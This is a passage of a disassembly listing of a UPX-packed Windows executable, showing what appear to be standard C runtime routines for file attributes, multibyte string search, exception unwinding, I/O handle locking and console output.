lea eax, [ecx+eax+5]
mov ecx, dword_42E3F0
mov [ebp+var_28], eax
loc_41404D: ; CODE XREF: sub_413E93+18Dj
add eax, ecx
cmp byte ptr [eax], 3Dh
jz short loc_414022
loc_414054: ; CODE XREF: sub_413E93+192j
; sub_413E93+198j ...
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov esi, [ebp+var_2C]
add edi, eax
mov [ebp+var_40], edi
jmp short loc_414083
; ---------------------------------------------------------------------------
loc_414064: ; CODE XREF: sub_413E93+1F2j
lea eax, [ebp+var_10]
push eax
call sub_40BFB0
push eax
lea eax, [ebp+var_10]
push eax
push dword ptr [esi]
call sub_415A3D
add esp, 10h
test eax, eax
jz short loc_4140CD
add esi, 4
loc_414083: ; CODE XREF: sub_413E93+1CFj
cmp [esi], ebx
jnz short loc_414064
add edi, [ebp+var_30]
loc_41408A: ; CODE XREF: sub_413E93+241j
push 1
push edi
call sub_40EF6F
mov esi, [ebp+var_20]
pop ecx
pop ecx
mov ecx, [ebp+var_18]
mov [ecx], eax
cmp eax, ebx
jnz loc_413FD6
push dword ptr [esi]
call sub_40ADC8
pop ecx
mov [esi], ebx
call sub_40C862
mov dword ptr [eax], 0Ch
call sub_40C875
or [ebp+var_24], 0FFFFFFFFh
mov dword ptr [eax], 8
jmp loc_414236
; ---------------------------------------------------------------------------
loc_4140CD: ; CODE XREF: sub_413E93+1EBj
mov [ebp+var_3C], 1
jmp short loc_41408A
; ---------------------------------------------------------------------------
loc_4140D6: ; CODE XREF: sub_413E93+14Cj
push eax
mov eax, esi
sub eax, esi
add eax, [ebp+var_34]
push eax
push esi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_4140F9
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_4140F9: ; CODE XREF: sub_413E93+257j
push dword ptr [edi]
call sub_40BFB0
lea esi, [esi+eax+1]
add edi, 4
jmp short loc_41413F
; ---------------------------------------------------------------------------
loc_414109: ; CODE XREF: sub_413E93+2B1j
push eax
mov eax, [ebp+var_20]
mov eax, [eax]
sub eax, esi
add eax, [ebp+var_34]
push eax
push esi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_41412F
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_41412F: ; CODE XREF: sub_413E93+28Dj
push dword ptr [edi]
call sub_40BFB0
add esi, eax
add edi, 4
mov byte ptr [esi], 20h
inc esi
loc_41413F: ; CODE XREF: sub_413E93+274j
pop ecx
loc_414140: ; CODE XREF: sub_413E93+153j
mov eax, [edi]
cmp eax, ebx
jnz short loc_414109
mov eax, [ebp+var_18]
mov [esi-1], bl
mov [esi], bl
mov esi, [eax]
cmp [ebp+var_2C], ebx
jz loc_414226
mov edi, [ebp+var_28]
mov eax, [ebp+var_1C]
mov ecx, edi
sub ecx, eax
push ecx
mov ecx, dword_42E3F0
add ecx, eax
push ecx
push esi
call sub_40E710
sub edi, [ebp+var_1C]
add esp, 0Ch
add esi, edi
mov edi, [ebp+var_2C]
jmp short loc_4141B6
; ---------------------------------------------------------------------------
loc_414180: ; CODE XREF: sub_413E93+325j
mov eax, [ebp+var_40]
mov ecx, [ebp+var_18]
push dword ptr [edi]
sub eax, esi
add eax, [ecx]
push eax
push esi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_4141A7
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_4141A7: ; CODE XREF: sub_413E93+305j
push dword ptr [edi]
call sub_40BFB0
pop ecx
lea esi, [esi+eax+1]
add edi, 4
loc_4141B6: ; CODE XREF: sub_413E93+2EBj
cmp [edi], ebx
jnz short loc_414180
cmp [ebp+var_3C], ebx
jnz short loc_414226
mov edi, [ebp+var_30]
lea eax, [ebp+var_10]
push eax
push edi
push esi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_4141E1
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_4141E1: ; CODE XREF: sub_413E93+33Fj
push offset dword_41DD40
push edi
push esi
call sub_4139F9
add esp, 0Ch
test eax, eax
jz short loc_414201
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_414201: ; CODE XREF: sub_413E93+35Fj
cmp [ebp+var_14], ebx
jz short loc_414224
push [ebp+var_14]
push edi
push esi
call sub_4139F9
add esp, 0Ch
test eax, eax
jz short loc_414224
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
loc_414224: ; CODE XREF: sub_413E93+371j
; sub_413E93+382j
add esi, edi
loc_414226: ; CODE XREF: sub_413E93+2C0j
; sub_413E93+32Aj
cmp esi, ebx
jz short loc_414236
mov eax, [ebp+var_18]
cmp esi, [eax]
jnz short loc_414234
mov [esi], bl
inc esi
loc_414234: ; CODE XREF: sub_413E93+39Cj
mov [esi], bl
loc_414236: ; CODE XREF: sub_413E93+139j
; sub_413E93+235j ...
mov eax, dword_42E3F0
cmp eax, ebx
jz short loc_414246
push eax
call sub_40ADC8
pop ecx
loc_414246: ; CODE XREF: sub_413E93+3AAj
mov dword_42E3F0, ebx
cmp [ebp+var_14], ebx
jz short loc_41425A
push [ebp+var_14]
call sub_40ADC8
pop ecx
loc_41425A: ; CODE XREF: sub_413E93+3BCj
mov eax, [ebp+var_24]
loc_41425D: ; CODE XREF: sub_413E93+96j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_413E93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41426C proc near ; CODE XREF: sub_40ED0F+10Ap
; sub_40ED0F+1C1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp [ebp+arg_0], esi
jnz short loc_41429D
loc_414279: ; CODE XREF: sub_41426C+38j
call sub_40C875
mov [eax], esi
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
push 16h
pop eax
jmp short loc_4142F2
; ---------------------------------------------------------------------------
loc_41429D: ; CODE XREF: sub_41426C+Bj
test [ebp+arg_4], 0FFFFFFF9h
jnz short loc_414279
push [ebp+arg_0]
call dword_41D120 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_4142CA
call dword_41D1D8 ; RtlGetLastWin32Error
push eax
call sub_40C888
pop ecx
loc_4142C1: ; CODE XREF: sub_41426C+82j
call sub_40C862
mov eax, [eax]
jmp short loc_4142F2
; ---------------------------------------------------------------------------
loc_4142CA: ; CODE XREF: sub_41426C+46j
test al, 10h
jnz short loc_4142F0
test al, 1
jz short loc_4142F0
test byte ptr [ebp+arg_4], 2
jz short loc_4142F0
call sub_40C875
mov dword ptr [eax], 5
call sub_40C862
mov dword ptr [eax], 0Dh
jmp short loc_4142C1
; ---------------------------------------------------------------------------
loc_4142F0: ; CODE XREF: sub_41426C+60j
; sub_41426C+64j ...
xor eax, eax
loc_4142F2: ; CODE XREF: sub_41426C+2Fj
; sub_41426C+5Cj
pop esi
pop ebp
retn
sub_41426C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142F5 proc near ; CODE XREF: sub_4143B1+Dp
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push [ebp+arg_8]
lea ecx, [ebp+var_10]
call sub_40C799
mov eax, [ebp+arg_0]
xor ebx, ebx
cmp eax, ebx
jnz short loc_41433A
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_4], bl
jz short loc_414336
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_414336: ; CODE XREF: sub_4142F5+38j
xor eax, eax
jmp short loc_4143AE
; ---------------------------------------------------------------------------
loc_41433A: ; CODE XREF: sub_4142F5+1Bj
push esi
mov esi, [ebp+var_C]
cmp [esi+8], ebx
jnz short loc_41437D
push [ebp+arg_4]
push eax
call sub_415BE0
pop ecx
pop ecx
jmp short loc_414391
; ---------------------------------------------------------------------------
loc_414350: ; CODE XREF: sub_4142F5+92j
movzx edx, cl
test byte ptr [edx+esi+1Dh], 4
jz short loc_414374
inc eax
mov dl, [eax]
cmp dl, bl
jz short loc_41439F
movzx ecx, cx
movzx edx, dl
shl ecx, 8
or ecx, edx
cmp [ebp+arg_4], ecx
jnz short loc_41437C
dec eax
jmp short loc_414391
; ---------------------------------------------------------------------------
loc_414374: ; CODE XREF: sub_4142F5+63j
movzx edx, cx
cmp [ebp+arg_4], edx
jz short loc_414389
loc_41437C: ; CODE XREF: sub_4142F5+7Aj
inc eax
loc_41437D: ; CODE XREF: sub_4142F5+4Cj
movzx cx, byte ptr [eax]
movzx ecx, cx
cmp cx, bx
jnz short loc_414350
loc_414389: ; CODE XREF: sub_4142F5+85j
movzx ecx, cx
cmp [ebp+arg_4], ecx
jnz short loc_41439F
loc_414391: ; CODE XREF: sub_4142F5+59j
; sub_4142F5+7Dj
cmp [ebp+var_4], bl
jz short loc_4143AD
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_4143AD
; ---------------------------------------------------------------------------
loc_41439F: ; CODE XREF: sub_4142F5+6Aj
; sub_4142F5+9Aj
cmp [ebp+var_4], bl
jz short loc_4143AB
mov eax, [ebp+var_8]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_4143AB: ; CODE XREF: sub_4142F5+ADj
xor eax, eax
loc_4143AD: ; CODE XREF: sub_4142F5+9Fj
; sub_4142F5+A8j
pop esi
loc_4143AE: ; CODE XREF: sub_4142F5+43j
pop ebx
leave
retn
sub_4142F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143B1 proc near ; CODE XREF: sub_40ED0F+74p
; sub_416CC7+40p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4142F5
add esp, 0Ch
pop ebp
retn
sub_4143B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143C8 proc near ; CODE XREF: sub_414484+Dp
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push [ebp+arg_8]
xor ebx, ebx
lea ecx, [ebp+var_14]
mov [ebp+var_4], ebx
call sub_40C799
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jnz short loc_414410
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
cmp [ebp+var_8], bl
jz short loc_41440C
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41440C: ; CODE XREF: sub_4143C8+3Bj
xor eax, eax
jmp short loc_414481
; ---------------------------------------------------------------------------
loc_414410: ; CODE XREF: sub_4143C8+1Ej
push esi
mov esi, [ebp+var_10]
cmp [esi+8], ebx
jnz short loc_414432
push [ebp+arg_4]
push ecx
call sub_415CA0
pop ecx
pop ecx
cmp [ebp+var_8], bl
jz short loc_414480
mov ecx, [ebp+var_C]
and dword ptr [ecx+70h], 0FFFFFFFDh
jmp short loc_414480
; ---------------------------------------------------------------------------
loc_414432: ; CODE XREF: sub_4143C8+4Fj
push edi
loc_414433: ; CODE XREF: sub_4143C8+A6j
mov dl, [ecx]
movzx eax, dl
movzx edi, al
test byte ptr [edi+esi+1Dh], 4
jz short loc_414463
inc ecx
mov dl, [ecx]
cmp dl, bl
jz short loc_41445E
movzx edi, dl
shl eax, 8
or eax, edi
cmp [ebp+arg_4], eax
jnz short loc_41446B
lea eax, [ecx-1]
mov [ebp+var_4], eax
jmp short loc_41446B
; ---------------------------------------------------------------------------
loc_41445E: ; CODE XREF: sub_4143C8+7Fj
cmp [ebp+var_4], ebx
jmp short loc_414466
; ---------------------------------------------------------------------------
loc_414463: ; CODE XREF: sub_4143C8+78j
cmp [ebp+arg_4], eax
loc_414466: ; CODE XREF: sub_4143C8+99j
jnz short loc_41446B
mov [ebp+var_4], ecx
loc_41446B: ; CODE XREF: sub_4143C8+8Cj
; sub_4143C8+94j ...
inc ecx
cmp dl, bl
jnz short loc_414433
pop edi
cmp [ebp+var_8], bl
jz short loc_41447D
mov eax, [ebp+var_C]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_41447D: ; CODE XREF: sub_4143C8+ACj
mov eax, [ebp+var_4]
loc_414480: ; CODE XREF: sub_4143C8+5Fj
; sub_4143C8+68j
pop esi
loc_414481: ; CODE XREF: sub_4143C8+46j
pop ebx
leave
retn
sub_4143C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414484 proc near ; CODE XREF: sub_40ED0F+4Fp
; sub_40ED0F+59p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4143C8
add esp, 0Ch
pop ebp
retn
sub_414484 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41449B proc near ; CODE XREF: sub_40F0F5+83p
; sub_4157F6+28p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push [ebp+arg_8]
lea ecx, [ebp+var_18]
call sub_40C799
mov ebx, [ebp+arg_0]
lea eax, [ebx+1]
cmp eax, 100h
ja short loc_4144CB
mov eax, [ebp+var_18]
mov eax, [eax+0C8h]
movzx eax, word ptr [eax+ebx*2]
jmp short loc_414540
; ---------------------------------------------------------------------------
loc_4144CB: ; CODE XREF: sub_41449B+1Fj
mov [ebp+arg_0], ebx
sar [ebp+arg_0], 8
lea eax, [ebp+var_18]
push eax
mov eax, [ebp+arg_0]
and eax, 0FFh
push eax
call sub_4127F4
pop ecx
pop ecx
test eax, eax
jz short loc_4144FC
mov al, byte ptr [ebp+arg_0]
push 2
mov [ebp+var_8], al
mov [ebp+var_7], bl
mov [ebp+var_6], 0
pop ecx
jmp short loc_414506
; ---------------------------------------------------------------------------
loc_4144FC: ; CODE XREF: sub_41449B+4Dj
xor ecx, ecx
mov [ebp+var_8], bl
mov [ebp+var_7], 0
inc ecx
loc_414506: ; CODE XREF: sub_41449B+5Fj
mov eax, [ebp+var_18]
push 1
push dword ptr [eax+14h]
push dword ptr [eax+4]
lea eax, [ebp+var_4]
push eax
push ecx
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push 1
push eax
call sub_4151A8
add esp, 20h
test eax, eax
jnz short loc_41453C
cmp [ebp+var_C], al
jz short loc_414538
mov eax, [ebp+var_10]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_414538: ; CODE XREF: sub_41449B+94j
xor eax, eax
jmp short loc_414550
; ---------------------------------------------------------------------------
loc_41453C: ; CODE XREF: sub_41449B+8Fj
movzx eax, [ebp+var_4]
loc_414540: ; CODE XREF: sub_41449B+2Ej
and eax, [ebp+arg_4]
cmp [ebp+var_C], 0
jz short loc_414550
mov ecx, [ebp+var_10]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_414550: ; CODE XREF: sub_41449B+9Fj
; sub_41449B+ACj
pop ebx
leave
retn
sub_41449B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414560 proc near ; CODE XREF: sub_401304+46p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_414579
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_414579: ; CODE XREF: sub_414560+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_414560 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414594 proc near ; CODE XREF: sub_4145E7+Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40C799
movzx eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov dl, [ebp+arg_C]
test [ecx+eax+1Dh], dl
jnz short loc_4145D5
cmp [ebp+arg_8], 0
jz short loc_4145CF
mov ecx, [ebp+var_10]
mov ecx, [ecx+0C8h]
movzx eax, word ptr [ecx+eax*2]
and eax, [ebp+arg_8]
jmp short loc_4145D1
; ---------------------------------------------------------------------------
loc_4145CF: ; CODE XREF: sub_414594+27j
xor eax, eax
loc_4145D1: ; CODE XREF: sub_414594+39j
test eax, eax
jz short loc_4145D8
loc_4145D5: ; CODE XREF: sub_414594+21j
xor eax, eax
inc eax
loc_4145D8: ; CODE XREF: sub_414594+3Fj
cmp [ebp+var_4], 0
jz short locret_4145E5
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_4145E5: ; CODE XREF: sub_414594+48j
leave
retn
sub_414594 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4145E7 proc near ; CODE XREF: sub_40F568+41p
; sub_40F6A5+55p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 4
push 0
push [ebp+arg_0]
push 0
call sub_414594
add esp, 10h
pop ebp
retn
sub_4145E7 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_414618
push dword ptr [ebp+8]
call sub_416F6E ; RtlUnwind
loc_414618: ; DATA XREF: UPX0:0041460Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414620: ; DATA XREF: sub_414665+Bo
; UPX0:004146F2o
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_414664
mov eax, [esp+14h]
mov ecx, [eax-4]
xor ecx, eax
call sub_40AC1C
push ebp
mov ebp, [eax+10h]
mov edx, [eax+28h]
push edx
mov edx, [eax+24h]
push edx
call sub_414665
add esp, 8
pop ebp
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_414664: ; CODE XREF: UPX0:00414630j
retn
; =============== S U B R O U T I N E =======================================
sub_414665 proc near ; CODE XREF: UPX0:0041464Cp
var_20 = dword ptr -20h
var_18 = dword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push ebp
push eax
push 0FFFFFFFEh
push offset loc_414620
push large dword ptr fs:0
mov eax, dword_42A034
xor eax, esp
push eax
lea eax, [esp+24h+var_20]
mov large fs:0, eax
loc_41468E: ; CODE XREF: sub_414665:loc_4146D5j
mov eax, [esp+24h+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_4146D7
cmp [esp+24h+arg_4], 0FFFFFFFFh
jz short loc_4146AA
cmp esi, [esp+24h+arg_4]
jbe short loc_4146D7
loc_4146AA: ; CODE XREF: sub_414665+3Dj
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+24h+var_18], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_4146D5
push 101h
mov eax, [ebx+esi*4+8]
call sub_414715
mov eax, [ebx+esi*4+8]
call sub_414734
loc_4146D5: ; CODE XREF: sub_414665+57j
jmp short loc_41468E
; ---------------------------------------------------------------------------
loc_4146D7: ; CODE XREF: sub_414665+36j
; sub_414665+43j
mov ecx, [esp+24h+var_20]
mov large fs:0, ecx
add esp, 18h
pop edi
pop esi
pop ebx
retn
sub_414665 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset loc_414620
jnz short locret_41470B
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41470B
mov eax, 1
locret_41470B: ; CODE XREF: UPX0:004146F9j
; UPX0:00414704j
retn
; =============== S U B R O U T I N E =======================================
sub_41470C proc near ; CODE XREF: sub_410E70+1Ep
; sub_410E70+40p
push ebx
push ecx
mov ebx, offset dword_42AD20
jmp short loc_414720
sub_41470C endp
; =============== S U B R O U T I N E =======================================
sub_414715 proc near ; CODE XREF: sub_40FF0C+6Ep
; sub_410015+8p ...
arg_0 = dword ptr 4
push ebx
push ecx
mov ebx, offset dword_42AD20
mov ecx, [esp+8+arg_0]
loc_414720: ; CODE XREF: sub_41470C+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
push ebp
push ecx
push eax
pop eax
pop ecx
pop ebp
pop ecx
pop ebx
retn 4
sub_414715 endp
; =============== S U B R O U T I N E =======================================
sub_414734 proc near ; CODE XREF: sub_40FF0C+7Bp
; sub_414665+6Bp
call eax
retn
sub_414734 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414737 proc near ; CODE XREF: sub_4106A9+59p
; sub_4106A9+6Ap ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
xor eax, eax
inc eax
cmp [ebp+arg_0], 0
jnz short loc_414747
xor eax, eax
loc_414747: ; CODE XREF: sub_414737+Cj
pop ebp
retn
sub_414737 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414749 proc near ; CODE XREF: sub_41640B+69p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
push ebx
xor ebx, ebx
cmp ecx, ebx
push esi
push edi
jl short loc_4147B5
cmp ecx, dword_430148
jnb short loc_4147B5
mov eax, ecx
sar eax, 5
mov esi, ecx
lea edi, ds:430160h[eax*4]
mov eax, [edi]
and esi, 1Fh
shl esi, 6
add eax, esi
test byte ptr [eax+4], 1
jz short loc_4147B5
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4147B5
cmp dword_42A030, 1
jnz short loc_4147AB
sub ecx, ebx
jz short loc_4147A2
dec ecx
jz short loc_41479D
dec ecx
jnz short loc_4147AB
push ebx
push 0FFFFFFF4h
jmp short loc_4147A5
; ---------------------------------------------------------------------------
loc_41479D: ; CODE XREF: sub_414749+4Aj
push ebx
push 0FFFFFFF5h
jmp short loc_4147A5
; ---------------------------------------------------------------------------
loc_4147A2: ; CODE XREF: sub_414749+47j
push ebx
push 0FFFFFFF6h
loc_4147A5: ; CODE XREF: sub_414749+52j
; sub_414749+57j
call dword_41D11C ; SetStdHandle
loc_4147AB: ; CODE XREF: sub_414749+43j
; sub_414749+4Dj
mov eax, [edi]
or dword ptr [esi+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_4147CA
; ---------------------------------------------------------------------------
loc_4147B5: ; CODE XREF: sub_414749+Fj
; sub_414749+17j ...
call sub_40C862
mov dword ptr [eax], 9
call sub_40C875
mov [eax], ebx
or eax, 0FFFFFFFFh
loc_4147CA: ; CODE XREF: sub_414749+6Aj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_414749 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147CF proc near ; CODE XREF: sub_410EBC+19p
; sub_415E0C+85p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_4147F4
call sub_40C875
and dword ptr [eax], 0
call sub_40C862
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4147F4: ; CODE XREF: sub_4147CF+Bj
push esi
xor esi, esi
cmp eax, esi
jl short loc_41481D
cmp eax, dword_430148
jnb short loc_41481D
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_430160[ecx*4]
shl eax, 6
add eax, ecx
test byte ptr [eax+4], 1
jnz short loc_414841
loc_41481D: ; CODE XREF: sub_4147CF+2Aj
; sub_4147CF+32j
call sub_40C875
mov [eax], esi
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 9
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_414843
; ---------------------------------------------------------------------------
loc_414841: ; CODE XREF: sub_4147CF+4Cj
mov eax, [eax]
loc_414843: ; CODE XREF: sub_4147CF+70j
pop esi
pop ebp
retn
sub_4147CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414846 proc near ; CODE XREF: sub_410F41+AFp
; sub_41178D+7Fp ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_426C90
call __SEH_prolog4
mov edi, [ebp+arg_0]
mov eax, edi
sar eax, 5
mov esi, edi
and esi, 1Fh
shl esi, 6
add esi, dword_430160[eax*4]
mov [ebp+var_1C], 1
xor ebx, ebx
cmp [esi+8], ebx
jnz short loc_4148AD
push 0Ah
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], ebx
cmp [esi+8], ebx
jnz short loc_4148A1
push 0FA0h
lea eax, [esi+0Ch]
push eax
call sub_413600
pop ecx
pop ecx
test eax, eax
jnz short loc_41489E
mov [ebp+var_1C], ebx
loc_41489E: ; CODE XREF: sub_414846+53j
inc dword ptr [esi+8]
loc_4148A1: ; CODE XREF: sub_414846+3Fj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_4148DD
loc_4148AD: ; CODE XREF: sub_414846+2Fj
cmp [ebp+var_1C], ebx
jz short loc_4148CF
mov eax, edi
sar eax, 5
and edi, 1Fh
shl edi, 6
mov eax, dword_430160[eax*4]
lea eax, [eax+edi+0Ch]
push eax
call dword_41D1CC ; RtlEnterCriticalSection
loc_4148CF: ; CODE XREF: sub_414846+6Aj
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_414846 endp
; =============== S U B R O U T I N E =======================================
sub_4148D8 proc near ; DATA XREF: UPX0:00426CA8o
xor ebx, ebx
mov edi, [ebp+8]
sub_4148D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4148DD proc near ; CODE XREF: sub_414846+62p
push 0Ah
call sub_40CECF
pop ecx
retn
sub_4148DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4148E6 proc near ; CODE XREF: sub_411050+3p
; sub_41185F+3p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_430160[ecx*4]
shl eax, 6
lea eax, [ecx+eax+0Ch]
push eax
call dword_41D204 ; RtlLeaveCriticalSection
pop ebp
retn
sub_4148E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41490D proc near ; CODE XREF: sub_41105A+31Cp
; sub_41105A+349p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = word ptr 8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push esi
xor esi, esi
cmp dword_42AD30, esi
jz short loc_414979
cmp dword_42AE44, 0FFFFFFFEh
jnz short loc_414938
call sub_415CCD
loc_414938: ; CODE XREF: sub_41490D+24j
mov eax, dword_42AE44
cmp eax, 0FFFFFFFFh
jnz short loc_414949
loc_414942: ; CODE XREF: sub_41490D+59j
; sub_41490D+64j ...
mov eax, 0FFFFh
jmp short loc_4149B9
; ---------------------------------------------------------------------------
loc_414949: ; CODE XREF: sub_41490D+33j
push esi
lea ecx, [ebp+var_10]
push ecx
push 1
lea ecx, [ebp+arg_0]
push ecx
push eax
call dword_41D110 ; WriteConsoleW
test eax, eax
jnz short loc_4149C6
cmp dword_42AD30, 2
jnz short loc_414942
call dword_41D1D8 ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_414942
mov dword_42AD30, esi
loc_414979: ; CODE XREF: sub_41490D+1Bj
push esi
push esi
push 5
lea eax, [ebp+var_C]
push eax
push 1
lea eax, [ebp+arg_0]
push eax
push esi
call dword_41D114 ; GetConsoleOutputCP
push eax
call dword_41D07C ; WideCharToMultiByte
mov ecx, dword_42AE44
cmp ecx, 0FFFFFFFFh
jz short loc_414942
push esi
lea edx, [ebp+var_10]
push edx
push eax
lea eax, [ebp+var_C]
push eax
push ecx
call dword_41D118 ; WriteConsoleA
test eax, eax
jz short loc_414942
loc_4149B5: ; CODE XREF: sub_41490D+C3j
mov ax, [ebp+arg_0]
